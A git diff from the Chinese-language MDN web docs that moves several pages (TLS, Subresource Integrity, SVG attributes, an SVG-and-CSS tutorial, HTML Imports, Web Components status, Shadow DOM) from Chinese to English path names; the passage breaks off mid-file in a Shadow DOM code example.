{{QuickLinksWithSubpages("/zh-CN/docs/Web/Security")}}

diff --git a/files/zh-cn/web/security/transport_layer_security/index.html b/files/zh-cn/web/security/transport_layer_security/index.html new file mode 100644 index 0000000000..ed6e6bb128 --- /dev/null +++ b/files/zh-cn/web/security/transport_layer_security/index.html @@ -0,0 +1,18 @@ +--- +title: 传输层安全协议 +slug: Web/Security/传输层安全协议 +tags: + - 传输层安全协议 + - 安全 + - 密码学 +translation_of: Web/Security/Transport_Layer_Security +--- +

使用传输层安全性协议(TLS)进行的任何连接的安全性在很大程度上取决于密码套件和所选的安全性参数。 本文的目的是帮助您确保客户端和服务器之间的机密性和完整性通信。Mozilla运营安全团队(OpSec)维护了 服务器端TLS参考配置的Wiki条目

+ +

传输层安全性协议(Transport Layer Security protocol,TLS)是使两个联网应用程序或设备能够安全可靠地交换信息的标准。使用TLS的应用程序可以自行选择安全性参数,这可能会对数据的安全性和可靠性产生重大影响。本文对TLS进行了概述,并提供了多种在保护内容时需要做出的决策。

+ +

另请参阅

+ +
    +
  • Cipherli.st's 此网站为各种各样的软件产品列出了强大的TLS配置信息供参考。
  • +
diff --git "a/files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" "b/files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" deleted file mode 100644 index ed6e6bb128..0000000000 --- "a/files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 传输层安全协议 -slug: Web/Security/传输层安全协议 -tags: - - 传输层安全协议 - - 安全 - - 密码学 -translation_of: Web/Security/Transport_Layer_Security ---- -

使用传输层安全性协议(TLS)进行的任何连接的安全性在很大程度上取决于密码套件和所选的安全性参数。 本文的目的是帮助您确保客户端和服务器之间的机密性和完整性通信。Mozilla运营安全团队(OpSec)维护了 服务器端TLS参考配置的Wiki条目

- -

传输层安全性协议(Transport Layer Security protocol,TLS)是使两个联网应用程序或设备能够安全可靠地交换信息的标准。使用TLS的应用程序可以自行选择安全性参数,这可能会对数据的安全性和可靠性产生重大影响。本文对TLS进行了概述,并提供了多种在保护内容时需要做出的决策。

- -

另请参阅

- -
    -
  • Cipherli.st's 此网站为各种各样的软件产品列出了强大的TLS配置信息供参考。
  • -
diff --git "a/files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" "b/files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" deleted file mode 100644 index 86c80188c0..0000000000 --- "a/files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Subresource Integrity -slug: Web/Security/子资源完整性 -tags: - - CORS - - SRI - - Security - - Subresource Integrity - - 子资源完整性 -translation_of: Web/Security/Subresource_Integrity ---- -

子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

- -

SRI 如何工作

- -

使用 {{Glossary("CDN", "内容分发网络 (CDNs)")}} 在多个站点之间共享脚本和样式表等文件可以提高站点性能并节省带宽。然而,使用CDN也存在风险,如果攻击者获得对 CDN 的控制权,则可以将任意恶意内容注入到 CDN 上的文件中 (或完全替换掉文件)
- ),因此可能潜在地攻击所有从该 CDN 获取文件的站点。

- -

子资源完整性通过确保 Web 应用程序获得的文件未经第三方注入或其他任何形式的修改来降低这种攻击的风险。

- - - -
-

Note: SRI并不能规避所有的风险。第三方库经常会自己请求额外的信息,这就有可能会携带用户的账号密码等关键信息。这些经常需要js功能的支持,比如一个地图库会需要取<svg>数据来渲染,但是包含点击事件。

-
- -

如何使用 SRI

- -

将使用 base64 编码过后的文件哈希值写入你所引用的 {{HTMLElement("script")}} 或 {{HTMLElement("link")}} 标签的 integrity 属性值中即可启用子资源完整性功能。

- -

integrity 值分成两个部分,第一部分指定哈希值的生成算法(目前支持 sha256、sha384 及 sha512),第二部分是经过 base64 编码的实际哈希值,两者之间通过一个短横(-)分割。

- -
-

integrity 值可以包含多个由空格分隔的哈希值,只要文件匹配其中任意一个哈希值,就可以通过校验并加载该资源。

-
- -

使用 base64 编码 sha384 算法计算出摘要后的 integrity 值的例子:

- -
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
-
- -

oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 即哈希值部分,sha384 前缀说明使用的是 sha384 哈希方法。

- -
-

integrity 中的“hash”部分,严格来说,是一种经过特定的哈希函数转换之后的密码学摘要。但是更一般的叫法就是哈希,本文用的也是这种叫法。

-
- -

生成 SRI 哈希的工具

- -

你可以用 openssl 在命令行中执行如下命令来生成 SRI 哈希值:

- -
cat FILENAME.js | openssl dgst -sha384 -binary | openssl enc -base64 -A         
- -

或者用 shasum 在命令行中执行:

- -
shasum -b -a 384 FILENAME.js | xxd -r -p | base64
- -

另外,SRI Hash Generator 是一个在线生成 SRI 哈希值的工具。

- -

内容安全策略及子资源完整性

- -

你可以根据内容安全策略来配置你的服务器使得指定类型的文件遵守 SRI。这是通过在 CSP 头部添加 {{CSP("require-sri-for")}} 指令实现的:

- -
Content-Security-Policy: require-sri-for script;
- -

这条指令规定了所有 JavaScript 都要有 integrity 属性,且通过验证才能被加载。

- -

你也可以指定所有样式表也要通过 SRI 验证:

- -
Content-Security-Policy: require-sri-for style;
- -

你也可以对两者都加上验证。

- -

范例

- -

在这个例子中,我们已知 oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 是一个指定文件,比如 example-framework.js,经过 SHA-384 算法得出的摘要,同时在 https://example.com/example-framework.js 上有其一份拷贝。

- -

在 script 标签中增加 SRI

- -

你可以使用以下的 {{HTMLElement("script")}} 元素告诉浏览器在执行 https://example.com/example-framework.js 中的内容之前,必须先比较该文件的哈希值是否和预期的一致,只有一致才能执行。

- -
<script src="https://example.com/example-framework.js"
-        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
-        crossorigin="anonymous"></script>
- -
-

有关 crossorigin 属性的更多信息,见 CORS settings attributes.

-
- -

浏览器如何处理 SRI

- -

浏览器根据以下步骤处理 SRI:

- -
    -
  1. 当浏览器在  {{HTMLElement("script")}} 或者 {{HTMLElement("link")}}  标签中遇到 integrity 属性之后,会在执行脚本或者应用样式表之前对比所加载文件的哈希值和期望的哈希值。
  2. -
  3. 当脚本或者样式表的哈希值和期望的不一致时,浏览器必须拒绝执行脚本或者应用样式表,并且必须返回一个网络错误说明获得脚本或样式表失败。
  4. -
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Subresource Integrity')}}{{Spec2('Subresource Integrity')}}
{{SpecName('Fetch')}}{{Spec2('Fetch')}}
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{ CompatGeckoDesktop("43") }}{{CompatNo}}{{CompatOpera("32")}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{ CompatGeckoDesktop("49") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{CompatGeckoMobile("43")}}{{CompatNo}}{{CompatNo}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{CompatGeckoMobile("49")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] {{WebKitBug(148363)}}

- -

[2] 位于 security.csp.experimentalEnabled 之后的是: config preference。

- -

相关资料

- - - -

{{QuickLinksWithSubpages("/zh-CN/docs/Web/Security")}}

diff --git a/files/zh-cn/web/svg/attribute/styling/index.html b/files/zh-cn/web/svg/attribute/styling/index.html new file mode 100644 index 0000000000..6d9669c5c5 --- /dev/null +++ b/files/zh-cn/web/svg/attribute/styling/index.html @@ -0,0 +1,32 @@ +--- +title: SVG样式属性 +slug: Web/SVG/Attribute/样式 +translation_of: Web/SVG/Attribute/Styling +--- +

SVG样式属性是所有可以在任何SVG元素上指定以应用CSS样式效果的属性。

+ +
+ +
+ +

属性

+ +
+
{{SVGAttr('class')}}
+
给一个元素分配一个类名称或者设置类名。它跟 HTML中的{{htmlattrxref('class')}}属性具有同样的功能。
+ Value: 任何可用的ID字符; Animatable: Yes
+
{{SVGAttr('style')}}
+
它指定元素的样式信息。它跟HTML中 {{htmlattrxref('style')}}属性具有相同的功能。
+ Value:任何可用的ID字符; Animatable: No +

 

+
+
+ +

浏览器支持

+ + + +

{{Compat("svg.attributes.style")}}

diff --git a/files/zh-cn/web/svg/attribute/text-anchor/index.html b/files/zh-cn/web/svg/attribute/text-anchor/index.html new file mode 100644 index 0000000000..7a71281230 --- /dev/null +++ b/files/zh-cn/web/svg/attribute/text-anchor/index.html @@ -0,0 +1,95 @@ +--- +title: text-anchor +slug: Web/SVG/Attribute/文本锚点 +tags: + - 可缩放矢量图形 + - 可缩放矢量图形 属性 +translation_of: Web/SVG/Attribute/text-anchor +--- +

« SVG Attribute reference home

+ +

文本锚点属性被用来描述该文本与所给点的对齐方式 (开头、中间、末尾对齐) 。

+ +

文本锚点属性被运用到每个 {{ SVGElement("text") }} 元素的独立文本块上。 每个文本块有一个初始的当前文本位置,一个来源于 {{ SVGElement("text") }} 元素的{{ SVGAttr("x") }}和{{ SVGAttr("y") }}属性在当前上下文的用户坐标系中所对应的点,任何 一个{{ SVGElement("tspan") }}、{{SVGElement("tref") }}、{{ SVGElement("altGlyph") }} 元素的 {{ SVGAttr("x") }} 或者 {{ SVGAttr("y") }} 属性值都明确指向了文本块里第一个被呈现的字符,或者是决定了{{ SVGElement("textPath") }}元素的当前文本位置的初始值。

+ +

作为一个描述性的属性,它也可以直接用作css样式的性质(style属性的值)。

+ +

使用方法

+ + + + + + + + + + + + + + + + + + + + +
类别呈现属性
start | middle | end | inherit
可动画化
标准文件SVG 1.1 (2nd Edition)
+ +
+
start
+
所呈现的字符对齐方式为:文本字符串的开始位置即当前文本的初始位置.对于拉丁文在其通常文本排列方向,这就相当于左对齐. 对于脚本像希伯来语和阿拉伯语这类自右向左排列的文字来说,这相当于右对齐. 对于亚洲某些垂直走向的文本来说,这相当于向上对齐。
+
middle
+
所呈现的字符对齐方式为:文本字符串的中间位置即当前文本的初始位置. (对于按路径排列的文本,会从概念上首先将其文本排列在一条直线上,确定该串中点位置后,然再将该文本映射到路径上,并且将之前确定的中点放置在当前文本的位置上 )
+
end
+
所呈现的字符对齐方式为:文本字符串的末尾即当前文本的初始位置.对于拉丁语通常的文字走向来说,这就相当于右对齐. 对于像希伯来语和阿拉伯语这类将文字自右向左排列的脚本来说,这相当于左对齐.
+
+ +

示例

+ +
<?xml version="1.0"?>
+<svg width="120" height="120" viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg" version="1.1">
+
+    <!-- Materialisation of anchors -->
+    <path d="M60,15 L60,110 M30,40 L90,40 M30,75 L90,75 M30,110 L90,110" stroke="grey" />
+
+
+    <!-- Anchors in action -->
+    <text text-anchor="start"
+          x="60" y="40">A</text>
+
+    <text text-anchor="middle"
+          x="60" y="75">A</text>
+
+    <text text-anchor="end"
+          x="60" y="110">A</text>
+
+    <!-- Materialisation of anchors -->
+    <circle cx="60" cy="40" r="3" fill="red" />
+    <circle cx="60" cy="75" r="3" fill="red" />
+    <circle cx="60" cy="110" r="3" fill="red" />
+
+<style><![CDATA[
+text{
+    font: bold 36px Verdana, Helvetica, Arial, sans-serif;
+}
+]]></style>
+</svg>
+ +

Live sample

+ +

{{ EmbedLiveSample('Example','120','120') }}

+ +

元素

+ +

 

+ +

以下元素可以运用文本锚点属性:

+ +

 

+ + diff --git "a/files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" "b/files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" deleted file mode 100644 index 7a71281230..0000000000 --- "a/files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: text-anchor -slug: Web/SVG/Attribute/文本锚点 -tags: - - 可缩放矢量图形 - - 可缩放矢量图形 属性 -translation_of: Web/SVG/Attribute/text-anchor ---- -

« SVG Attribute reference home

- -

文本锚点属性被用来描述该文本与所给点的对齐方式 (开头、中间、末尾对齐) 。

- -

文本锚点属性被运用到每个 {{ SVGElement("text") }} 元素的独立文本块上。 每个文本块有一个初始的当前文本位置,一个来源于 {{ SVGElement("text") }} 元素的{{ SVGAttr("x") }}和{{ SVGAttr("y") }}属性在当前上下文的用户坐标系中所对应的点,任何 一个{{ SVGElement("tspan") }}、{{SVGElement("tref") }}、{{ SVGElement("altGlyph") }} 元素的 {{ SVGAttr("x") }} 或者 {{ SVGAttr("y") }} 属性值都明确指向了文本块里第一个被呈现的字符,或者是决定了{{ SVGElement("textPath") }}元素的当前文本位置的初始值。

- -

作为一个描述性的属性,它也可以直接用作css样式的性质(style属性的值)。

- -

使用方法

- - - - - - - - - - - - - - - - - - - - -
类别呈现属性
start | middle | end | inherit
可动画化
标准文件SVG 1.1 (2nd Edition)
- -
-
start
-
所呈现的字符对齐方式为:文本字符串的开始位置即当前文本的初始位置.对于拉丁文在其通常文本排列方向,这就相当于左对齐. 对于脚本像希伯来语和阿拉伯语这类自右向左排列的文字来说,这相当于右对齐. 对于亚洲某些垂直走向的文本来说,这相当于向上对齐。
-
middle
-
所呈现的字符对齐方式为:文本字符串的中间位置即当前文本的初始位置. (对于按路径排列的文本,会从概念上首先将其文本排列在一条直线上,确定该串中点位置后,然再将该文本映射到路径上,并且将之前确定的中点放置在当前文本的位置上 )
-
end
-
所呈现的字符对齐方式为:文本字符串的末尾即当前文本的初始位置.对于拉丁语通常的文字走向来说,这就相当于右对齐. 对于像希伯来语和阿拉伯语这类将文字自右向左排列的脚本来说,这相当于左对齐.
-
- -

示例

- -
<?xml version="1.0"?>
-<svg width="120" height="120" viewBox="0 0 120 120"
-     xmlns="http://www.w3.org/2000/svg" version="1.1">
-
-    <!-- Materialisation of anchors -->
-    <path d="M60,15 L60,110 M30,40 L90,40 M30,75 L90,75 M30,110 L90,110" stroke="grey" />
-
-
-    <!-- Anchors in action -->
-    <text text-anchor="start"
-          x="60" y="40">A</text>
-
-    <text text-anchor="middle"
-          x="60" y="75">A</text>
-
-    <text text-anchor="end"
-          x="60" y="110">A</text>
-
-    <!-- Materialisation of anchors -->
-    <circle cx="60" cy="40" r="3" fill="red" />
-    <circle cx="60" cy="75" r="3" fill="red" />
-    <circle cx="60" cy="110" r="3" fill="red" />
-
-<style><![CDATA[
-text{
-    font: bold 36px Verdana, Helvetica, Arial, sans-serif;
-}
-]]></style>
-</svg>
- -

Live sample

- -

{{ EmbedLiveSample('Example','120','120') }}

- -

元素

- -

 

- -

以下元素可以运用文本锚点属性:

- -

 

- - diff --git "a/files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" "b/files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" deleted file mode 100644 index 6d9669c5c5..0000000000 --- "a/files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: SVG样式属性 -slug: Web/SVG/Attribute/样式 -translation_of: Web/SVG/Attribute/Styling ---- -

SVG样式属性是所有可以在任何SVG元素上指定以应用CSS样式效果的属性。

- -
- -
- -

属性

- -
-
{{SVGAttr('class')}}
-
给一个元素分配一个类名称或者设置类名。它跟 HTML中的{{htmlattrxref('class')}}属性具有同样的功能。
- Value: 任何可用的ID字符; Animatable: Yes
-
{{SVGAttr('style')}}
-
它指定元素的样式信息。它跟HTML中 {{htmlattrxref('style')}}属性具有相同的功能。
- Value:任何可用的ID字符; Animatable: No -

 

-
-
- -

浏览器支持

- - - -

{{Compat("svg.attributes.style")}}

diff --git a/files/zh-cn/web/svg/tutorial/svg_and_css/index.html b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html new file mode 100644 index 0000000000..f2e753baca --- /dev/null +++ b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html @@ -0,0 +1,191 @@ +--- +title: SVG and CSS +slug: Web/Guide/CSS/Getting_started/SVG_and_CSS +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +
+ {{CSSTutorialTOC}}
+

本节将演示如何将CSS应用到 SVG 中。

+

你将创建一个简单的演示代码并在支持SVG的浏览器中运行。

+

这是 CSS 教程 第二部分的第二节
+ 前一节: JavaScript
+ 下一节: XML data

+

信息: SVG

+

SVG (Scalable Vector Graphics)是一个基于XML的图形描述语言。

+

它可以用于描述静态图、动画,以及用户界面。

+

和其他基于XML的语言一样,SVG 支持用 CSS 样式表将图形内容和图形样式分离。

+

在样式表中你可以在任何可以可以指定图片的地方指定一个SVG的URL。比如,在HTML的样式表中,你可以为 background 属性指定一个SVG的URL。

+ + + + + + + +
+ 更多细节
+

在这个教程编写的时间点(2011中旬),绝大多数现代浏览器都对SVG有基本的支持。其中包括 Internet Explorer 9 及其后续版本。一些SVG特性只被某些浏览器支持。参见 SVG tables on caniuse.com 了解支持情况。 参见 SVG element reference 了解兼容情况。

+

通过安装 Adobe 提供的插件,你可以让某些浏览器支持SVG。

+

欲在Mozilla了解更多关于SVG的信息,参考 这里SVG

+
+

实例: 一个SVG演示

+

建立一个SVG文件doc8.svg。复制下面所有内容:

+
<?xml version="1.0" standalone="no"?>
+
+<?xml-stylesheet type="text/css" href="style8.css"?>
+
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink">
+
+<title>SVG demonstration</title>
+<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
+
+<defs>
+  <g id="segment" class="segment">
+    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
+    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
+    </g>
+  <g id="quadrant">
+    <use xlink:href="#segment"/>
+    <use xlink:href="#segment" transform="rotate(18)"/>
+    <use xlink:href="#segment" transform="rotate(36)"/>
+    <use xlink:href="#segment" transform="rotate(54)"/>
+    <use xlink:href="#segment" transform="rotate(72)"/>
+    </g>
+  <g id="petals">
+    <use xlink:href="#quadrant"/>
+    <use xlink:href="#quadrant" transform="rotate(90)"/>
+    <use xlink:href="#quadrant" transform="rotate(180)"/>
+    <use xlink:href="#quadrant" transform="rotate(270)"/>
+    </g>
+  <radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse">
+    <stop id="fade-stop-1" offset="33%"/>
+    <stop id="fade-stop-2" offset="95%"/>
+    </radialGradient>
+  </defs>
+
+<text id="heading" x="-280" y="-270">
+  SVG demonstration</text>
+<text  id="caption" x="-280" y="-250">
+  Move your mouse pointer over the flower.</text>
+
+<g id="flower">
+  <circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/>
+  <use id="outer-petals" xlink:href="#petals"/>
+  <use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/>
+  </g>
+
+</svg>
+
+

创建一个CSS文件, style8.css。 复制下面所有内容:

+
/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover > .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover > .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover > .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover > .segment-edge {
+  stroke: green;
+  }
+
+

在支持SVG的浏览器中打开上面的文档。将鼠标移到图上。

+

由于这个wiki不支持嵌入SVG,所以下面是一个截图供参考:

+ + + + + + +
SVG demonstration
+

解释:

+
    +
  • 这个SVG文档使用常见连接方法引入样式表。
  • +
  • SVG有自己一套CSS属性和对应的值。其中一些和HTML使用的CSS属性相似。
  • +
+ + + + + + + +
+ 挑战
修改样式表使得当鼠标指针移到任何一个内层花瓣上时所有内层花瓣都变为粉色,但不改变外层花瓣的效果。
+

接下来?

+

如果你有任何疑问或评论请移步到讨论区

+

在这个演示中,支持SVG的浏览器知道如何显示SVG元素。样式表只是修改其呈现的方式。同样,这对HTML和XUL文档也是适用的。你也可以将CSS用于XML文档。(与HTML相比,)XML没有预先为元素定义样式。下一个节将对此进行演示: XML data

diff --git a/files/zh-cn/web/web_components/html_imports/index.html b/files/zh-cn/web/web_components/html_imports/index.html new file mode 100644 index 0000000000..fe3aeb99cd --- /dev/null +++ b/files/zh-cn/web/web_components/html_imports/index.html @@ -0,0 +1,61 @@ +--- +title: HTML 导入(HTML Imports) +slug: Web/Web_Components/HTML导入 +tags: + - HTML Imports + - Web Components +translation_of: Web/Web_Components/HTML_Imports +--- +

{{DefaultAPISidebar("Web Components")}}

+ +
+

在 Google Chrome 73 后已过时
+ 此功能已过时。虽然它可能仍然适用于某些浏览器,但不鼓励使用它,因为它随时可能被删除。尽量避免使用它。

+
+ +
+

Firefox 将不会以当前形式发布HTML导入特性,有关 更多信息,请参阅此状态更新在对标准达成共识或制定替代机制之前,您可以使用Google等的polyfill webcomponents.js 

+
+ +

HTML Imports 旨在成为 Web Components 的打包机制,但也可以单独使用 HTML Imports。

+ +
可以在HTML文档中使用<link> 标记导入HTML文件,如下所示:
+ +
 
+ +
<link rel="import" href="myfile.html">
+ +

链接类型 import 是新加入的。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('HTML Imports', "", "")}}{{Spec2('HTML Imports')}}初步定义
+ +

浏览器兼容性

+ + + +

{{Compat("html.elements.link.rel.import")}}

+ +

阅读更多:

+ +
    +
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components
  • +
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Custom_Elements
  • +
  • https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/template
  • +
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Shadow_DOM
    +  
  • +
diff --git "a/files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" "b/files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" deleted file mode 100644 index fe3aeb99cd..0000000000 --- "a/files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: HTML 导入(HTML Imports) -slug: Web/Web_Components/HTML导入 -tags: - - HTML Imports - - Web Components -translation_of: Web/Web_Components/HTML_Imports ---- -

{{DefaultAPISidebar("Web Components")}}

- -
-

在 Google Chrome 73 后已过时
- 此功能已过时。虽然它可能仍然适用于某些浏览器,但不鼓励使用它,因为它随时可能被删除。尽量避免使用它。

-
- -
-

Firefox 将不会以当前形式发布HTML导入特性,有关 更多信息,请参阅此状态更新在对标准达成共识或制定替代机制之前,您可以使用Google等的polyfill webcomponents.js 

-
- -

HTML Imports 旨在成为 Web Components 的打包机制,但也可以单独使用 HTML Imports。

- -
可以在HTML文档中使用<link> 标记导入HTML文件,如下所示:
- -
 
- -
<link rel="import" href="myfile.html">
- -

链接类型 import 是新加入的。

- -

规范

- - - - - - - - - - - - - - -
规范状态评论
{{SpecName('HTML Imports', "", "")}}{{Spec2('HTML Imports')}}初步定义
- -

浏览器兼容性

- - - -

{{Compat("html.elements.link.rel.import")}}

- -

阅读更多:

- -
    -
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components
  • -
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Custom_Elements
  • -
  • https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/template
  • -
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Shadow_DOM
    -  
  • -
diff --git a/files/zh-cn/web/web_components/status_in_firefox/index.html b/files/zh-cn/web/web_components/status_in_firefox/index.html deleted file mode 100644 index d57e5adef5..0000000000 --- a/files/zh-cn/web/web_components/status_in_firefox/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Status of Web Components support in Firefox -slug: Web/Web_Components/Status_in_Firefox -translation_of: Web/Web_Components/Status_in_Firefox ---- -

{{DefaultAPISidebar("Web Components")}}{{SeeCompatTable}}

- -

Web Components 依旧是一项非常新的技术,它的规范正随着浏览器的实现而不断演变并且 Web 开发者正在测试和使用它。 它的实现状态是变化的并且演变的十分迅速; 这篇文章列出了在 Gecko 上的状态, 用于 Firefox 和Firefox OS.

- -
-
-

原生支持

- -

下面的特征已经被实现了并且默认在 Firefox and Firefox OS 中被激活:

- -
    -
  • {{HTMLElement("template")}}
  • -
- -

即将到来的特征

- -
    -
  • 一个实现关于新的 Shadow DOM 共识有望在2016年第一季度达成; Anne's 和 Wilson's 的博客讲述了这些细节。 这依然有 大量的讨论和公开问题 关于这个规范.。并且所有的浏览器实现被有望在未来得到更新.
  • -
  • 自定义元素 是从头开始, 用一种方式来重建它们使用 ECMAScript 6 “class” 语法 (换而言之, 更少的使用基于原型的语法). 苹果公司的 Ryosuke Niwa 正在填补某些实验性功能使用新的途径. -
      -
    • 旧的语法将可以与新的语法一起在Chrome 中工作一段时间(例如, {{domxref("Element.createShadowRoot()")}} 对应 {{domxref("Element.attachShadow()")}}), 但不能原生的在Firefox中工作。
    • -
    -
  • -
  • 这将会有一个供应商 面对面交流的机会在2016年一月 来讨论问来会出现的问题 。
  • -
- -

被摒弃的功能

- -

这些功能已被考虑实现了, 并且有些是实验性实现。但他们将会永远不被实现, 或者被删除。

- -
    -
  • HTML imports, 因为我们想等着看看开发者如何使用ES6 模块 (虽然还没有实现; 查看 {{bug(568953)}}). imports是一个早期未完成实现,并且将会被删除从Firefox中。
  • -
- -

在Firefox中使用垫片

- -

这有些注意事项在Firefox中使用垫片的时候:

- -
    -
  • 当你激活原生Web容器支持在Firefox中通过设置 {{pref("dom.webcomponents.enabled")}} 偏好 为 true 在  about:config 中, 这个未完成的原生实现开始运作并且垫片可能会出现混淆; 这会有很大的可能性出现崩溃.
  • -
  • 一个使用 webcomponents.js 垫片生成的Shadow DOM 并没有完全包裹样式, 所以这个 样式 可能会溢出。 要注意使用垫片构建的网址当运行在不支持原生Shadow DOM的环境之下时可能会出现差异.
  • -
  • 这个Shadow DOM 垫片运行时非常缓慢的以为他重写了DOM元素的原型来挂在它的功能 。
  • -
  • 如果你不需要使用 Shadow DOM, 使用 webcomponents-lite.js 版本的 webcomponents.js 垫片是一个名明智的选择; 这个版本不填补 Shadow DOM.
  • -
-
-
diff --git "a/files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" "b/files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" deleted file mode 100644 index 0d92962112..0000000000 --- "a/files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 影子DOM(Shadow DOM) -slug: Web/Web_Components/影子_DOM -tags: - - DocumentFragment - - React - - Virtual DOM - - Web Components - - shadow dom -translation_of: Web/Web_Components/Using_shadow_DOM -translation_of_original: Web/Web_Components/Shadow_DOM ---- -

{{ draft }}

- -

Shadow DOM Web组件中的 DOM和 CSS提供了封装。Shadow DOM 使得这些东西与主文档的DOM保持分离。你也可以在一个Web组件外部使用 Shadow DOM本身。

- -

为什么要把一些代码和网页上其他的代码分离?原因之一是,大型站点若CSS没有良好的组织,导航的样式可能就『泄露』到本不应该去的地方,如主要内容区域,反之亦然。随着站点、应用的拓展,这样的事难以避免。

- -

Shadow DOM基础

- -

Shadow DOM 必须附加在一个元素上,可以是HTML文件中的一个元素,也可以是脚本中创建的元素;可以是原生的元素,如<div>、<p>;也可以是自定义元素如 <my-element>。 如下例所示,使用 {{domxref("Element.attachShadow()")}} 来附加影子DOM:

- -
<html>
-  <head></head>
-  <body>
-    <p id="hostElement"></p>
-    <script>
-      // create shadow DOM on the <p> element above
